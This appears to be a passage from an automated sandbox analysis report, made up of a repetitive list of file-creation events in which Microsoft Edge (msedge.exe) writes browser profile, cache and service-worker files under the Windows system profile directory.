Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic_638004170464094982
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8180e3c3a78ecd22_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4fe177dc48bcaeb5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9626a09b54b19df2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\f47574d0-a8b4-490b-8835-0d435921f59b
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000002.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT~RF5ef2a.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2a83bd883cc505bb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Browser
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\82fe7b7a-8556-446c-9965-d25ef5a27670.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c3c621bf5aa4f114_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2e0995500af195c4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b931fc6ff8856876_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\e51d215dbda79b27_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4f7e5db733228f6d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a8584b506797f5e4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa00e0605e2f2a9a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\427ed12f80083d9f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\355018c0bc478789_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a4059ee5a75bce07_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\002543461a98bcb1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3a12ecbf3e43ece7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\17ebbb8148924f5e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\68aae4af69db730e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\eac233f365c69025_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4cb2e8551faf5b34_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\038090926af56b05_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\d8dd7116c41d75e8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b430a46d5f8b883a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6038c11eb2cee93f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5f23ac01b3b23511_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\863476f01ea8d40c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b8b2d069123ce123_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4409578f8456196c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ddaaafdfbfb061af_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\44f1997421dca3c1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9892b47df17d5725_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5af972c8b7ee6098_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\93eae4c534ef41a4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\493146bb80205982_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d01d920f09c5762_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8efce47129c1d32c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a6ef69d92350b333_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2318c14047c90430_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\06e3f8c4509ad380_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\522d3c44dbf9d2df_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\81b62b07c9b4771b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\902dd4de5631017b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\af8966ab9f9546d2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b14bd987253be535_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d540aa27e82fa47_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\86195d14ffd31e2f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\093e63eb63a8b292_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5e64d00c195083c0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\15df4f60a8d34ac6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\7ee6097a-50bd-4e6a-b13d-f1e8eeebec5c\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF5f92c.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\d9bff835-3de3-4687-b7e6-8e8226acb506\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bc10140ccc487cbf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6e5d9fe0a946b57f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\d9a03987b4ec773e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4264252590b436ca_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6f83d554b4c91c01_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1c7c53ae3c59cfe1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9149d681662a6e39_0
